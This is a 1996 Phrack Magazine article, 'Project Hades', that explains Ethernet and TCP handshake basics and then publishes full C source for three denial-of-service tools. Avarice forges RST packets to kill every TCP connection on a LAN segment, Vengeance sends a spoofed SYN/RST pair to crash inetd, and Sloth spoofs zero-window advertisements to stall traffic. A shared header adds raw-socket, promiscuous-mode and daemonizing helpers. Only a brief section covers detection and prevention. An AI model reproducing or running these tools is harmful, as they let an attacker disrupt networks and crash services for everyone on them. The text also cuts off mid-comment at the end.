.oO Phrack Magazine Oo. Volume Seven, Issue Forty-Nine File 07 of 16 [ Project Hades ] Paper by daemon9 AKA route sourcecode by daemon9 for Phrack Magazine October 1996 Guild Productions, kid comments to route@infonexus.com --[ Introduction ]-- More explorations of weaknesses in the most widely used transport protocol on the Internet. Put your mind at rest fearful reader! The vulnerabilities outlined here are nowhere near the devastating nature of Project Neptune/Poseidon. Hades is the Greek god of the underworld; his kingdom is that of the the Dead. Hades renown for being quite evil and twisted. He is also well known for his TCP exploit code. Therefore, it seemed fitting to name this project after him. BTW, for this code to work (as with much of my previous code) your kernel must be patched to be able to spoof packets. DO NOT MAIL ME to ask how to do it. --[ Overview ]-- Section I. Ethernet background information Section II. TCP background information Section III. Avarice Section IV. Vengeance Section V. Sloth Section VI. Discussion, Detection, and Prevention (Note that readers unfamiliar with the TCP/IP protocol suite may wish to first read ftp://ftp.infonexus.com/pub/Philes/NetTech/TCP-IP/tcipIp.intro.txt.gz) Section I. Ethernet Background information Ethernet is a multi-drop, connectionless, unreliable link layer protocol. It (IEEE 802.3 Ethernet is the version I refer to) is the link-layer protocol most LANs are based upon. It is multidrop; each device on the ethernet shares the media (and, consequently, the bandwidth) with every other device. It is connectionless; every frame is sent independently of the previous one and next one. It is unreliable; frames are not acknowledged by the other end. If a frame is received that doesn't pass the checksum, it is silently discarded. It is a link-layer protocol that sits underneath the network protocol (IP) and above the physical interface (varies, but often CAT3/5 UTP). --[ Signaling and Encoding ]-- Standard 802.3 Ethernet signals at 10 mega-bits per second using Manchester encoding to order bits on the wire. Manchester is a biphase state-transition technique; to indicate a particular bit is on, a voltage transition from low to high is used. To indicate a bit is off, a high to low transition is used. --[ Media Access ]-- Ethernet uses media contention to gain access to the shared wire. The version of contention it uses is CSMA/CD (carrier sense multiple access / collision detection). This simply means that ethernet supports multiple devices on a shared network medium. Any device can send it's data whenever it thinks the wire is clear. Collisions are detected (causing back-off and retry) but not avoided. CSMA/CD algorithmically: 1. IF: the medium is idle -> transmit. 2. ELSE: the medium is busy -> wait and listen until idle -> transmit. 3. IF: collision is detected -> transmit jamming signal, cease all transmission 4. IF: jamming signal is detected -> wait a random amount of time, goto 1 --[ Broadcast Medium ]-- Since it is CSMA/CD technology, ethernet has the wonderful property that it hears everything on the network. Under normal circumstances, an ethernet NIC will only capture and pass to the network layer packets that boast it's own MAC (link-layer) address or a broadcast MAC address. However, it is trivial to place an Ethernet card into promiscuous mode where it will capture everything it hears, regardless to whom the frame was addressed. It bears mentioning that bridges are used to divide an ethernet into logically separate segments. A bridge (or bridging device such as a smart hub) will not pass an ethernet frame from segment to segment unless the addressed host lies on the disparate segment. This can reduce over-all network load by reducing the amount of traffic on the wire. Section II. TCP Background Information TCP is a connection-oriented, reliable transport protocol. TCP is responsible for hiding network intricacies from the upper layers. A connection-oriented protocol implies that the two hosts participating in a discussion must first establish a connection before data may be exchanged. In TCP's case, this is done with the three-way handshake. Reliability can be provided in a number of ways, but the only two we are concerned with are data sequencing and acknowledgment. TCP assigns sequence numbers to every byte in every segment and acknowledges all data bytes received from the other end. (ACK's consume a sequence number, but are not themselves ACK'd. That would be ludicrous.) --[ TCP Connection Establishment ]-- In order to exchange data using TCP, hosts must establish a connection. TCP establishes a connection in a 3 step process called the 3-way handshake. If machine A is running a client program and wishes to connect to a server program on machine B, the process is as follows: fig(1) 1 A ---SYN---> B 2 A <---SYN/ACK--- B 3 A ---ACK---> B At (1) the client is telling the server that it wants a connection. This is the SYN flag's only purpose. The client is telling the server that the sequence number field is valid, and should be checked. The client will set the sequence number field in the TCP header to it's ISN (initial sequence number). The server, upon receiving this segment (2) will respond with it's own ISN (therefore the SYN flag is on) and an Acknowledgment of the clients first segment (which is the client's ISN+1). The client then ACK's the server's ISN (3). Now data transfer may take place. --[ TCP Control Flags ]-- There are six TCP control flags. SYN: Synchronize Sequence Numbers The synchronize sequence numbers field is valid. This flag is only valid during the 3-way handshake. It tells the receiving TCP to check the sequence number field, and note it's value as the connection-initiator's (usually the client) initial sequence number. TCP sequence numbers can simply be thought of as 32-bit counters. They range from 0 to 4,294,967,295. Every byte of data exchanged across a TCP connection (along with certain flags) is sequenced. The sequence number field in the TCP header will contain the sequence number of the *first* byte of data in the TCP segment. ACK: Acknowledgment The acknowledgment number field is valid. This flag is almost always set. The acknowledgment number field in the TCP header holds the value of the next *expected* sequence number (from the other side), and also acknowledges *all* data (from the other side) up through this ACK number minus one. RST: Reset Destroy the referenced connection. All memory structures are torn down. URG: Urgent The urgent pointer is valid. This is TCP's way of implementing out of band (OOB) data. For instance, in a telnet connection a `ctrl-c` on the client side is considered urgent and will cause this flag to be set. PSH: Push The receiving TCP should not queue this data, but rather pass it to the application as soon as possible. This flag should always be set in interactive connections, such as telnet and rlogin. FIN: Finish The sending TCP is finished transmitting data, but is still open to accepting data. --[ Ports ]-- To grant simultaneous access to the TCP module, TCP provides a user interface called a port. Ports are used by the kernel to identify network processes. They are strictly transport layer entities. Together with an IP address, a TCP port provides an endpoint for network communications. In fact, at any given moment *all* Internet connections can be described by 4 numbers: the source IP address and source port and the destination IP address and destination port. Servers are bound to 'well-known' ports so that they may be located on a standard port on different systems. For example, the telnet daemon sits on TCP port 23. Section III. Avarice Avarice is a SYN,RST generator. It is designed to disallow any TCP traffic on the ethernet segment upon which it listens. It works by listening for the 3-way handshake procedure to begin, and then immediately resetting it. The result is that no TCP based connections can be negotiated, and therefore no TCP traffic can flow. This version sits on a host, puts the NIC into promiscuous mode and listens for connection-establishment requests. When it hears one, it immediately generates a forged RST packet and sends it back to the client. If the forged RST arrives in time, the client will quit with a message like: telnet: Unable to connect to remote host: Connection refused For the client to accept the RST, it must think it is an actual response from the server. This requires 3 pieces of information: IP address, TCP port, and TCP acknowledgment number. All of this information is gleaned from the original SYN packet: the IP address of the destination host, the TCP port of the listening process, and the clients ISN (the acknowledgment number in the RST packet is the clients ISN+1, as SYN's consume a sequence number). This program has a wide range of effectiveness. Speed is essential for avarice to quell all TCP traffic on a segment. We are basically racing the kernel. OS kernels tend to be rather efficient at building packets. If run on a fast machine, with a fast kernel, it's kill rate is rather high. I have seen kill-rates as high as 98% (occasionally a few slip through) on a fast machine. Consequently, if run on a slow machine, with a slow kernel, it will likely be useless. If the RSTs arrive too late, they will be dropped by the client, as the ACK number will be too low for the referenced connection. Sure, the program could send, say, 10 packets, each with progressively higher ACK numbers, but hey, this is a lame program... Section IV. Vengeance Vengeance is an inetd killer. On affected systems this program will cause inetd to become unstable and die after the next connection attempt. It sends a connection-request immediately followed by a RST to an internal inetd managed service, such as time or daytime. Inetd is now unstable and will die after the next attempt at a connection. Simple. Dumb. Not eleet. (This inetd bug should be fixed or simply not present in newer inetd code.) I did not add code to make the legitimate connection that would kill inetd to this simple little program for 2 reasons. 1) It's simply not worth the complexity to add sequence number prediction to create a spoofed 3-way handshake. This program is too dinky. 2) Maybe the attacker would want to leave inetd in a unstable state and let some legitimate user come along and kill it. Who knows. Who cares. Blah. I wash my hands of the whole affair. Section V. Sloth "Make your ethernet feel like a lagged 28.8 modem link!" Sloth is an experiment. It is an experiment in just how lame IP spoofing can get. It works much the same way avarice does, except it sends forged TCP window advertisements. By default Sloth will spoof zero-size window advertisements which will have the effect of slowing interactive traffic considerably. In fact, in some instances, it will freeze a connection all together. This is because when a TCP receives a zero-size window advertisement, it will stop sending data, and start sending window probes (a window probe is nothing more than an ACK with one byte of data) to see if the window size has increased. Since window probes are, in essence, nothing more than acknowledgements, they can get lost. Because of this fact, TCP implements a timer to cordinate the repeated sending of these packets. Window probes are sent according to the persist timer (a 500ms timer) which is calculated by TCP's exponential backoff algorithm. Sloth will see each window probe, and spoof a 0-size window to the sender. This all works out to cause mass mayhem, and makes it difficult for either TCP to carry on a legitimate conversation. Sloth, like avarice, is only effective on faster machines. It also only works well with interactive traffic. Section VI. Discussion, Detection, and Prevention Avarice is simply a nasty program. What more do you want from me? Detection? Detection would require an ounce of clue. Do FTP, SMTP, HTTP, POP, telnet, etc all suddenly break at the same time on every machine on the LAN? Could be this program. Break out the sniffer. Monitor the network and look for the machine that generating the RSTs. This version of the program does not spoof its MAC address, so look for that. To really prevent this attack, add cryptographic authentication to the TCP kernels on your machines. Vengeance is a wake-up call. If you haven't patched your inetd to be resistant to this attack, you should now. If your vendor hasn't been forthcoming with a patch, they should now. Detection is using this program. Prevention is a patch. Prevention is disabling the internal inetd services. Sloth can be detected and dealt with in much the same way as avarice. You may have noticed that these programs are named after three of the Seven Deadly Sins. You may be wondering if that implies that there will be four more programs of similar ilk. Well, STOP WONDERING. The answer is NO. I am officially *out* of the D.O.S. business. I am now putting my efforts towards more productive ventures. Next issue, a session jacker. This project made possible by a grant from the Guild Corporation. -------------------------------8<-------cut-me-loose-------------------------- /* The Hades Project Explorations in the Weakness of TCP SYN -> RST generator (avarice) v. 1.0 daemon9/route/infinity October 1996 Guild productions comments to route@infonexus.com This coding project made possible by a grant from the Guild corporation */ #include "lnw.h" void main(){ void reset(struct iphdr *,struct tcphdr *,int); struct epack{ /* Generic Ethernet packet w/o data payload */ struct ethhdr eth; /* Ethernet Header */ struct iphdr ip; /* IP header */ struct tcphdr tcp; /* TCP header */ }epack; int sock,shoe,dlen; struct sockaddr dest; struct iphdr *iphp; struct tcphdr *tcphp; if(geteuid()||getuid()){ fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0); } sock=tap(DEVICE); /* Setup the socket and device */ /* Could use the SOCK_PACKET but building Ethernet headers would require more time overhead; the kernel can do it quicker then me */ if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1); } shadow(); /* Run as a daemon */ iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2); tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2); /* Network reading loop / RSTing portion */ while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn)reset(iphp,tcphp,shoe); } /* * Build a packet and send it off. */ void reset(iphp,tcphp,shoe) struct iphdr *iphp; struct tcphdr *tcphp; int shoe; { void dump(struct iphdr *,struct tcphdr *); struct tpack{ /* Generic TCP packet w/o payload */ struct iphdr ip; struct tcphdr tcp; }tpack; struct pseudo_header{ /* For TCP header checksum */ unsigned source_address; unsigned dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pheader; struct sockaddr_in sin; /* IP address information */ /* Setup the sin struct with addressing information */ sin.sin_family=AF_INET; /* Internet address family */ sin.sin_port=tcphp->dest; /* Source port */ sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */ /* Packet assembly begins here */ /* Fill in all the TCP header information */ tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */ tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */ tpack.tcp.seq=0; /* 32-bit Sequence Number */ tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); /* 32-bit Acknowledgement Number */ tpack.tcp.doff=5; /* Data offset */ tpack.tcp.res1=0; /* reserved */ tpack.tcp.res2=0; /* reserved */ tpack.tcp.urg=0; /* Urgent offset valid flag */ tpack.tcp.ack=1; /* Acknowledgement field valid flag */ tpack.tcp.psh=0; /* Push flag */ tpack.tcp.rst=1; /* Reset flag */ tpack.tcp.syn=0; /* Synchronize sequence numbers flag */ tpack.tcp.fin=0; /* Finish sending flag */ tpack.tcp.window=0; /* 16-bit Window size */ tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */ tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */ /* Fill in all the IP header information */ tpack.ip.version=4; /* 4-bit Version */ tpack.ip.ihl=5; /* 4-bit Header Length */ tpack.ip.tos=0; /* 8-bit Type of service */ tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */ tpack.ip.id=0; /* 16-bit ID field */ tpack.ip.frag_off=0; /* 13-bit Fragment offset */ tpack.ip.ttl=64; /* 8-bit Time To Live */ tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */ tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */ tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */ pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0; pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR); /* IP header checksum */ tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR); /* TCP header checksum */ bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12); sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); #ifndef QUIET dump(iphp,tcphp); #endif } /* * Dumps some info... */ void dump(iphp,tcphp) struct iphdr *iphp; struct tcphdr *tcphp; { fprintf(stdout,"Connection-establishment Attempt: "); fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); fprintf(stdout,"Thwarting...\n"); } -------------------------------8<-------cut-me-loose-------------------------- /* The Hades Project Explorations in the Weakness of TCP Inetd Killer (vengance) v. 1.0 daemon9/route/infinity October 1996 Guild productions comments to route@infonexus.com This coding project made possible by a grant from the Guild corporation */ #include "lnw.h" void main() { void s3nd(int,int,unsigned,unsigned short,unsigned); void usage(char *); unsigned nameResolve(char *); int sock,mode,i=0; char buf[BUFSIZE]; unsigned short port; unsigned target=0,source=0; char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"}; if(geteuid()||getuid()){ fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0); } if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1); } printf(werd); printf("\nEnter target address-> "); fgets(buf,sizeof(buf)-1,stdin); if(!buf[1])exit(0); while(buf[i]!='\n')i++; /* Strip the newline */ buf[i]=0; target=nameResolve(buf); bzero((char *)buf,sizeof(buf)); printf("\nEnter source address to spoof-> "); fgets(buf,sizeof(buf)-1,stdin); if(!buf[1])exit(0); while(buf[i]!='\n')i++; /* Strip the newline */ buf[i]=0; source=nameResolve(buf); bzero((char *)buf,sizeof(buf)); printf("\nEnter target port (should be 13, 37, or some internal service)-> "); fgets(buf,sizeof(buf)-1,stdin); if(!buf[1])exit(0); port=(unsigned short)atoi(buf); fprintf(stderr,"Attempting to upset inetd...\n\n"); s3nd(sock,0,target,port,source); /* SYN */ s3nd(sock,1,target,port,source); /* RST */ fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.\nTo verfiy: `telnet target.com {internal service port #}`. Do this twice.\nInetd should allow the first connection, but send no data, then die.\nThe second telnet will verify t his.\n"); } /* * Build a packet and send it off. */ void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){ struct pkt{ struct iphdr ip; struct tcphdr tcp; }packet; struct pseudo_header{ /* For TCP header checksum */ unsigned source_address; unsigned dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pseudo_header; struct sockaddr_in sin; /* IP address information */ /* Setup the sin struct with addressing information */ sin.sin_family=AF_INET; /* Internet address family */ sin.sin_port=666; /* Source port */ sin.sin_addr.s_addr=target; /* Dest. address */ /* Packet assembly begins here */ /* Fill in all the TCP header information */ packet.tcp.source=htons(666); /* 16-bit Source port number */ packet.tcp.dest=htons(port); /* 16-bit Destination port */ if(mode)packet.tcp.seq=0; /* 32-bit Sequence Number */ else packet.tcp.seq=htonl(10241024); if(!mode)packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */ else packet.tcp.ack_seq=htonl(102410000); packet.tcp.doff=5; /* Data offset */ packet.tcp.res1=0; /* reserved */ packet.tcp.res2=0; /* reserved */ packet.tcp.urg=0; /* Urgent offset valid flag */ packet.tcp.ack=0; /* Acknowledgement field valid flag */ packet.tcp.psh=0; /* Push flag */ if(!mode)packet.tcp.rst=0; /* Reset flag */ else packet.tcp.rst=1; if(!mode)packet.tcp.syn=1; /* Synchronize sequence numbers flag */ else packet.tcp.syn=0; packet.tcp.fin=0; /* Finish sending flag */ packet.tcp.window=htons(512); /* 16-bit Window size */ packet.tcp.check=0; /* 16-bit checksum (to be filled in below) */ packet.tcp.urg_ptr=0; /* 16-bit urgent offset */ /* Fill in all the IP header information */ packet.ip.version=4; /* 4-bit Version */ packet.ip.ihl=5; /* 4-bit Header Length */ packet.ip.tos=0; /* 8-bit Type of service */ packet.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */ packet.ip.id=0; /* 16-bit ID field */ packet.ip.frag_off=0; /* 13-bit Fragment offset */ packet.ip.ttl=64; /* 8-bit Time To Live */ packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ packet.ip.check=0; /* 16-bit Header checksum (filled in below) */ packet.ip.saddr=source; /* 32-bit Source Address */ packet.ip.daddr=target; /* 32-bit Destination Address */ pseudo_header.source_address=(unsigned)packet.ip.saddr; pseudo_header.dest_address=(unsigned)packet.ip.daddr; pseudo_header.placeholder=0; pseudo_header.protocol=IPPROTO_TCP; pseudo_header.tcp_length=htons(TCPHDR); /* IP header checksum */ packet.ip.check=in_cksum((unsigned short *)&packet.ip,IPHDR); /* TCP header checksum */ bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,IPHDR); packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,TCPHDR+12); sendto(sock,&packet,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); } -------------------------------8<-------cut-me-loose-------------------------- /* The Hades Project Explorations in the Weakness of TCP TCP Window Starvation (sloth) v. 1.0 daemon9/route/infinity October 1996 Guild productions comments to route@infonexus.com This coding project made possible by a grant from the Guild corporation */ #include "lnw.h" /* experiment with this value. Different things happen with different sizes */ #define SLOTHWINDOW 0 void main(){ void sl0th(struct iphdr *,struct tcphdr *,int); struct epack{ /* Generic Ethernet packet w/o data payload */ struct ethhdr eth; /* Ethernet Header */ struct iphdr ip; /* IP header */ struct tcphdr tcp; /* TCP header */ }epack; int sock,shoe,dlen; struct sockaddr dest; struct iphdr *iphp; struct tcphdr *tcphp; if(geteuid()||getuid()){ fprintf(stderr,"UID or EUID of 0 needed...\n"); exit(0); } sock=tap(DEVICE); /* Setup the socket and device */ /* Could use the SOCK_PACKET but building Ethernet headers would require more time overhead; the kernel can do it quicker then me */ if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){ perror("\nHmmm.... socket problems"); exit(1); } shadow(); /* Run as a daemon */ iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2); tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2); /* Network reading loop */ while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->ack)sl0th(iphp,tcphp,shoe); } /* * Build a packet and send it off. */ void sl0th(iphp,tcphp,shoe) struct iphdr *iphp; struct tcphdr *tcphp; int shoe; { void dump(struct iphdr *,struct tcphdr *); struct tpack{ /* Generic TCP packet w/o payload */ struct iphdr ip; struct tcphdr tcp; }tpack; struct pseudo_header{ /* For TCP header checksum */ unsigned source_address; unsigned dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; }pheader; struct sockaddr_in sin; /* IP address information */ /* Setup the sin struct with addressing information */ sin.sin_family=AF_INET; /* Internet address family */ sin.sin_port=tcphp->dest; /* Source port */ sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */ /* Packet assembly begins here */ /* Fill in all the TCP header information */ tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */ tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */ tpack.tcp.seq=htonl(ntohl(tcphp->ack_seq)); /* 32-bit Sequence Number */ tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)); /* 32-bit Acknowledgement Number */ tpack.tcp.doff=5; /* Data offset */ tpack.tcp.res1=0; /* reserved */ tpack.tcp.res2=0; /* reserved */ tpack.tcp.urg=0; /* Urgent offset valid flag */ tpack.tcp.ack=1; /* Acknowledgement field valid flag */ tpack.tcp.psh=0; /* Push flag */ tpack.tcp.rst=0; /* Reset flag */ tpack.tcp.syn=0; /* Synchronize sequence numbers flag */ tpack.tcp.fin=0; /* Finish sending flag */ tpack.tcp.window=htons(SLOTHWINDOW); /* 16-bit Window size */ tpack.tcp.check=0; /* 16-bit checksum (to be filled in below) */ tpack.tcp.urg_ptr=0; /* 16-bit urgent offset */ /* Fill in all the IP header information */ tpack.ip.version=4; /* 4-bit Version */ tpack.ip.ihl=5; /* 4-bit Header Length */ tpack.ip.tos=0; /* 8-bit Type of service */ tpack.ip.tot_len=htons(IPHDR+TCPHDR); /* 16-bit Total length */ tpack.ip.id=0; /* 16-bit ID field */ tpack.ip.frag_off=0; /* 13-bit Fragment offset */ tpack.ip.ttl=64; /* 8-bit Time To Live */ tpack.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */ tpack.ip.check=0; /* 16-bit Header checksum (filled in below) */ tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */ tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */ pheader.source_address=(unsigned)tpack.ip.saddr; pheader.dest_address=(unsigned)tpack.ip.daddr; pheader.placeholder=0; pheader.protocol=IPPROTO_TCP; pheader.tcp_length=htons(TCPHDR); /* IP header checksum */ tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR); /* TCP header checksum */ bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR); tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12); sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin)); #ifndef QUIET dump(iphp,tcphp); #endif } /* * Dumps some info... */ void dump(iphp,tcphp) struct iphdr *iphp; struct tcphdr *tcphp; { fprintf(stdout,"Hmm... I smell an ACK: "); fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); fprintf(stdout,"let's slow things down a bit\n"); } -------------------------------8<-------cut-me-loose-------------------------- /* Basic Linux Networking Header Information. v1.0 c. daemon9, Guild Corporation 1996 Includes: tap in_cksum nameResolve hostLookup shadow reaper This is beta. Expect it to expand greatly the next time around ... Sources from all over the map. code from: route halflife */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define DEVICE "eth0" #define BUFSIZE 256 #define ETHHDR 14 #define TCPHDR 20 #define IPHDR 20 #define ICMPHDR 8 /* * IP address into network byte order */ unsigned nameResolve(char *hostname){ struct in_addr addr; struct hostent *hostEnt; if((addr.s_addr=inet_addr(hostname))==-1){ if(!(hostEnt=gethostbyname(hostname))){ fprintf(stderr,"Name lookup failure: `%s`\n",hostname); exit(0); } bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length); } return addr.s_addr; } /* * IP Family checksum routine */ unsigned short in_cksum(unsigned short *ptr,int nbytes){ register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } /* * Creates a low level raw-packet socket and puts the device into promiscuous mode. */ int tap(device) char *device; { int fd; /* File descriptor */ struct ifreq ifr; /* Link-layer interface request structure */ /* Ethernet code for IP 0x800==ETH_P_IP */ if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){ /* Linux's way of */ perror("SOCK_PACKET allocation problems"); /* getting link-layer */ exit(1); /* packets */ } strcpy(ifr.ifr_name,device); if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){ /* Get the device info */ perror("Can't get device flags"); close(fd); exit(1); } ifr.ifr_flags|=IFF_PROMISC; /* Set promiscuous mode */ if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){ /* Set flags */ perror("Can't set promiscuous mode"); close(fd); exit(1); } return(fd); } /* * Network byte order into IP address */ char *hostLookup(in) unsigned long in; { char hostname[BUFSIZE]; struct in_addr addr; struct hostent *hostEnt; bzero(&hostname,sizeof(hostname)); addr.s_addr=in; hostEnt=gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET); if(!hostEnt)strcpy(hostname,inet_ntoa(addr)); else strcpy(hostname,hostEnt->h_name); return(strdup(hostname)); } /* * Simple daemonizing procedure. */ void shadow(void){ int fd,fs; extern int errno; char werd[]={"\n\n\n\nHades is a Guild Corporation Production. c.1996\n\n"}; signal(SIGTTOU,SIG_IGN); /* Ignore these signals */ signal(SIGTTIN,SIG_IGN); signal(SIGTSTP,SIG_IGN); printf(werd); switch(fork()){ case 0: /* Child */ break; default: exit(0); /* Parent */ case -1: fprintf(stderr,"Forking Error\n"); exit(1); } setpgrp(); if((fd=open("/dev/tty",O_RDWR))>=0){ ioctl(fd,TIOCNOTTY,(char *)NULL); close(fd); } /*for(fd=0;fd